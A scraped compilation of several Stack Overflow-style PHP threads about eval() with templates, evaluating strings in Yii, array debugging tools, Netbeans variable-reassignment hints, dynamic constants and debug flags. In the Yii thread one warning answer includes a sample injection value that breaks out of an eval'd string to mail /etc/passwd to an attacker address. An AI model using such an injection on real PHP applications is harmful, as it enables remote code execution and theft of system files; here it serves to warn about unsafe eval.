I've been going through the code of a Wordpress plugin and found the following:
eval( '?>' . $foo . '<?php ' );
I'm curious if there is some specific situation I'm unaware of that this would be the right way to output the $foo variable. Is this just a case of the plugin author being wacky or is there something I should know? I would have just used echo...
UPDATE:
Thanks for all the great feedback. I'm face palming now that I didn't think of the template scenario. Specifically, this happens in the WP Super Cache plugin. I guess I'll have to have a closer look to see if it's necessary. I thought Super Cache cached the html output by Wordpress after all the PHP had already been processed...
In this instance, $foo is a string that (presumably) can contain in-lined PHP code. As such, to execute this PHP code, the string needs to be eval'ed.
That said, the use of eval is generally frowned upon, apart from in a very narrow set of circumstances, as it can lead to the execution of malicious code. (i.e.: If there's any possibility that $foo is a user-provided string, then use of eval could lead to disastrous consequences.)
See the existing When is eval evil in php? question/answers for more information.
That's not outputting the variable. $foo most likely contains a template, with other <?=$code();?> snippets embbeded.
The closing and opening PHP marker are used in this eval to switch from inline code, back to HTML mode. This eval() more or less amounts to:
include("data:,$foo"); // treat $foo string as if it was include script
Let me repeat it again: c.r.a.p
If eval() is the answer, you're almost
certainly asking the wrong question.
Rasmus Lerdorf
Related
I'm using Yii framework.
I want to make a php string into php action.
$var = 'echo "hello";';
//Something to do to run $var
I want to print $var how can I do that?
There is a simple parse php from string option on Yii framework?
You may use eval() function. But, eval is evil in many cases and generally such way of coding makes code harder to follow and debug. Beware for potential unsafe input from user, because, if, for instance, you do
eval('echo "$var"')
and $var was set directly from $_POST, one may set
$var='lol"; mail("hacker#somewhere.com", "Some passwords", "/bin/cat /etc/passwd");' (provided, that webserver is under user that may have access to such functions and directories; even is not, it gives a plenty of opportunities to exploit such vulnerability). So, generally eval is bad idea, but sometimes it is the only solution. Anyway, be very careful.
eval — Evaluate a string as PHP code
Evaluates the given code as PHP.
Caution
The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.
http://php.net/manual/en/function.eval.php
$this->evaluateExpression($var);
What is the best way to debug an array so that you can see what values are being stored and in what keys in the array they are being stored at? Also how do you make it so that it's easier to look at visually so that you don't have to keep looking through the array for the key and it's value in the one line print_r() function?
EDIT:
I now realize that print_r() is not the only solution to debugging arrays. So if you have alternate solutions that would be lovely as well to learn more about debugging.
EDIT2:
Ayesh K, ITroubs and Robert Rozas have mentioned both Krumo and Kint this far, if you have others feel free to post them. Also thanks to Raveren for writing Kint!
Every PHP developer should have a function for this. My function is below:
function r($var){
echo '<pre>';
print_r($var);
echo '</pre>';
}
To nicely print data, just call r($data);. If you want more detail, you could use this function:
function d($var){
echo '<pre>';
var_dump($var);
echo '</pre>';
}
here's mine...
demo: http://o-0.me/dump_r/
repo: https://github.com/leeoniya/dump_r.php
composer: https://packagist.org/packages/leeoniya/dump-r
you can restyle it via css if needed.
Everyone suggests print_r which is in core and works really well.
But when it comes to view a large array, print_r() drives me nuts narrowing down the output.
Give a try to krumo.
It nicely prints the array with visual formatting, click-expand and it also gives you the exact array key call that you can simply copy and paste.
<?php
krumo($my_array);
?>
Itroubs mentioned Kint as a better alternative to Krumo. (Thanks ITroubs!)
I use var_dump....now if you want some more, check out this site:
http://raveren.github.io/kint/
and
http://krumo.sourceforge.net/
The best practice to visually see the values/keys in an array is the following:
echo "<pre>".print_r($array,TRUE)."</pre>";
The true is required as it changes it into a string, the output will be:
array(
key1 => value,
key2 => value,
...
)
Quick solution: Open the source code of the page, and you'll see print_r's output in several lines and perfectly indented.
print_r is not one lined (it uses \n as new line, not <br>). Add a <pre>...</pre> around it to show the multiple lines.
print_r() uses \n as its line delimiter. Use <pre> tags or view the page's source code to make it look right. (on Windows, Linux works with \n)
You can either look source code or use var_dump() or print_r() with <pre>...</pre>
I personally, never liked all this fancy stuff, i use print_r() because it's not overwhelming and it gives enough information.
Here is mine:
if(isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT'] == 'Debug')
{
echo '<strong><i>FILE : </i></strong>'.__FILE__.'<strong> <i>LINE : </i></strong>'.__LINE__.'<pre>';
print_r($var);
echo '</pre>';
die;
}
This if statement is to ensure that other people don't see what you've printed.
There is a good add-on for Mozila-Firefox and Google Chrome called "user agent switcher", where you can create your custom user agents. So I create a user agent called "Debug", and when I'm working, I change the user agent.
If I use default user agent nothing will happen and the page wont die;, only you and people who also change the user agent to "Debug" will see the printed variable. This is helpful if you want to debug a problem in a production environment, and you don't want the page to die; and it is also good if other people are also working on the project and you don't want to interrupt them by killing the page.
Then I echo out the current File and Line, this is helpful when you work in a framework or CMS or any other big project with thousands of files and folders, and while debugging, if you might forget where you've typed die; or exit; and you need to remember where you've been and which variables you have printed.
I use the NetBeans IDE for PHP development, I have a macro set up so when you select a variable and use it, it will paste this debugging tool to the text editor and put the selection inside a print_r(); function. If you also use NetBeans, you can use this macro:
cut-to-clipboard
"if(isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT'] == 'Debug')"
insert-break
"{"
insert-break
"echo '<strong><i>FILE : </i></strong>'.__FILE__.'<strong> <i>LINE :</i></strong>'.__LINE__.'<pre>';"
insert-break
"print_r("
paste-from-clipboard
remove-line-begin
");"
insert-break
"echo '</pre>';"
insert-break
"die;"
You just need to select the $variable and use the macro.
To be honest, I'm surprised that print_r() (print human-readable). There are three native functions which each have their advantages and disadvantages in printing data to a document. As mentioned elsewhere on the page, wrapping your output in <pre> ... </pre> tags will be very beneficial in respecting newlines and tabbing when printing to an html document.
The truth is that ALL php developers, from newbie to hobbyist to professional to grand wizard level 999, need to have the following techniques in their toolbox.
Here is a non-exhaustive demo which exposes some of the differences.
var_export() is the format that I use most often. This function wraps strings in single quotes. This is important in identifying trailing whitespace characters and differentiating numeric types versus string types. To maintain the integrity of the output data and permit instant portability of the data into a runnable context, single quotes and backslashes are escaped -- don't let this trip you up.
print_r() is probably my least-used and the least-informative function when data needs to be inspect. It does not wrap strings in any kind of delimiting character so you will not be able to eyeball invisible characters. It will not escape backslashes, single quotes, or double quotes. It wraps keys in square braces which may cause confusion if your keys contain square braces originally.
var_dump() is uniquely powerful in that it expresses data types AND the byte count for strings. This is hands-down the best tool when there is a risk that you might have unexpected multibyte characters interfering with the success/stability of your script.
Depending on your php version and which function you use, you may see differing values with same input data. Pay careful attention to float values.
debug_zval_dump() very much resembles the output of var_dump(), but also includes a refcount. This native function is not likely to provide any additional benefit relating to "debugging an array".
There are also non-native tools which may be of interest (most of which I've never bothered to use). If you are using a framework, Laravel for instance, offers dd() (dump and die) as a diagnostic helper method. Some devs love the collapsed/expandable styling of this tool, but other devs loudly voice their annoyance at the tedious clicking that is necessary to expose nested levels of data.
As a sideways approach to printing iterable data, you could entertain the idea of echoing a json-encoded string with the JSON_PRETTY_PRINT. This may reveal some things that could cause trouble like multibyte and whitespace characters, but don't forget that this is literally "encoding" the data. In other words, it is converting data from one form to another and it will mutate certain occurrences in the process. Like var_export(), a json encoded string is an excellent form to maintain data integrity when it needs to be tranferred from one place to another (like from your project to your Stack Overflow question!).
Netbeans seems to suggest too many assignments is quite bad and should be changed.
i.e.
$foo = ' bar ';
$foo = trim($foo);
Should better coded as
$foo = ' bar ';
$trimmed_foo = trim($foo);
Is this acceptable? If so why? I know I can switch this particular hint type off in setting, but just checking if someone spotted anything for this.
Ths is a new warning, circa mid 2012.
Since you used the trim example I'm guessing that you have read this https://blogs.oracle.com/netbeansphp/entry/several_new_hints, which tries to explain the warning. My take on this warning is that it's trying to warn you about accidental reuse of a variable. As such it is very handy. In the trim case you give it seems a bit heavy handed. If the reassignment is on he following line, it's probably not accidental.
Ideally the variable name should describe the contents. If you are repeatedly assigning to the same variable, it suggests that the variables contents are not well defined.
Additionally, if your code has something like this:
$foo = ' bar ';
// some code, mybe 100 lines of it
// now do something with $foo
What happens if you update the code to add $foo = trim($foo); up above? You break the code below.
Those variants make no difference. If anything the first is better because it avoids cluttering the scope with variables.
I think what the warning really means is that you should try to do
$foo = trim(' bar ');
directly (or whatever $foo is really being set to in the first place), instead of storing it in a temporary. Of course, this isn't always possible.
If you don't like this hint, you can simply deactivate it in Tools -> Options -> Editor -> Hints -> PHP -> Immutable Variables
IMHO, first way is ok for more performance comparing second.
On the other hand, second approach can be more helpful if you need more descriptive variables. Also this may help more if multiple persons are working on same project.
Is it possible to parse the contents of a constant in PHP?
For example,
define('WHO_AM_I', 'My name is $_SESSION['who_am_i'].'); // setup the constant string
echo eval(WHO_AM_I); // something like this -- but the eval() returns an error
Please note that I do not know the value of the _SESSION var until I actually use the constant later in the script stream.
Thanks.
AMENDED WITH REASON FOR WANTING TO DO THIS
I want to pull "hard coding" out of my script and give the user the ability to configure certain taxonomy in their site. So while I was doing this I also wanted to create a quasi-dynamic constant that I thought I might be able to parse later in the script.
If it can't be done...then it can't be done.
Don't shoot me for asking the question though.
A FINAL COMMENT TO AVOID ALL THIS CONFUSION
The purpose of my question has nothing to do with the eval() function. I am actually regretting having put it in there in the first place.
I put the eval() in the question simply to demonstrate to stackoverflow members that I did a bit if prep on my question rather than asking an open ended -- hey give me a solution without having offered any stab at it myself. So please disregard the eval().
All I want to know is can I somehow craft a define() in an way that makes the assigned value parse-able later in my script. That's it, that's all.
AMENDMENT C
I know I can do the following although I don't want to do it this way:
define('PARSE_ABLE_CONSTANT_PART_A', 'My name is ');
define('PARSE_ABLE_CONSTANT_PART_B', '.');
...later down the script road...
echo PARSE_ABLE_CONSTANT_PART_A . $_SESSION['who_am_i'] . PARSE_ABLE_CONSTANT_PART_B;
I just don't want to do it this way if I can make it slicker using an embedded var in the constant.
This seems really fishy, as other users have pointed out. You could do something like this if you wanted:
define('WHO_AM_I', 'echo \'My name is \'.$_SESSION[\'who_am_i\'];');
eval(WHO_AM_I);
This will always just echo the variable. You need to eval an expression afaik.
Just read your edit. I think you would be better suited with an .ini file, or maybe a static class with static properties. Makes it much more flexible, and you avoid the eval. You are talking user-generated content from what I can see - subjecting that to an eval call seems highly insecure.
A quick example of a static class you could use:
<?php
class myConstants{
public static function _($key){
switch($key){
case "WHO_AM_I":
return "My name is ".$_SESSION['who_am_i'];
break;
case "OTHER_CONSTANT":
// does some other evaluation and returns a string
break;
}
throw new Exception("Constant isn't defined");
}
}
?>
Then you can just echo myConstants::_('WHO_AM_I');
Constants by definition don't allow you to set it with dynamic content.
Here is a quote from the php manual:
As the name suggests, that value cannot change during the execution
of the script
You can see more by going here
You might be thinking of magical constants
Languages like C and even C# (which technically doesn't have a preprocessor) allow you to write code like:
#DEFINE DEBUG
...
string returnedStr = this.SomeFoo();
#if DEBUG
Debug.WriteLine("returned string =" + returnedStr);
#endif
This is something I like to use in my code as a form of scaffolding, and I'm wondering if PHP has something like this. I'm sure I can emulate this with variables, but I imagine the fact that PHP is interpreted in most cases will not make it easy to strip/remove the debugging code (since its not needed) automatically when executing it.
PHP doesn't have anything like this. but you could definitely whip up something quickly (and perhaps a regex parse to strip it out later if you wanted). i'd do it as such:
define('DEBUG', true);
...
if (DEBUG):
$debug->writeLine("stuff");
endif;
of course you'd have to write your own debug module to handle all that. if you wanted to make life easier on regex parsing, perhaps you could use a ternary operator instead:
$str = 'string';
DEBUG ? $debug->writeLine("stuff is ".$str) : null;
which would make removing debug lines pretty trivial.
xdump is one of my personal favorites for debugging.
http://freshmeat.net/projects/xdump/
define(DEBUG, true);
[...]
if(DEBUG) echo xdump::dump($debugOut);
It has a define funciton, documented here: http://us.php.net/manual/en/language.constants.php.
Given the set of differences between variables and constants explained in the documentation, I assume that PHP's define allows the interpreter to eliminate unusable code paths at compile time, but that's just a guess.
-- Douglas Hunter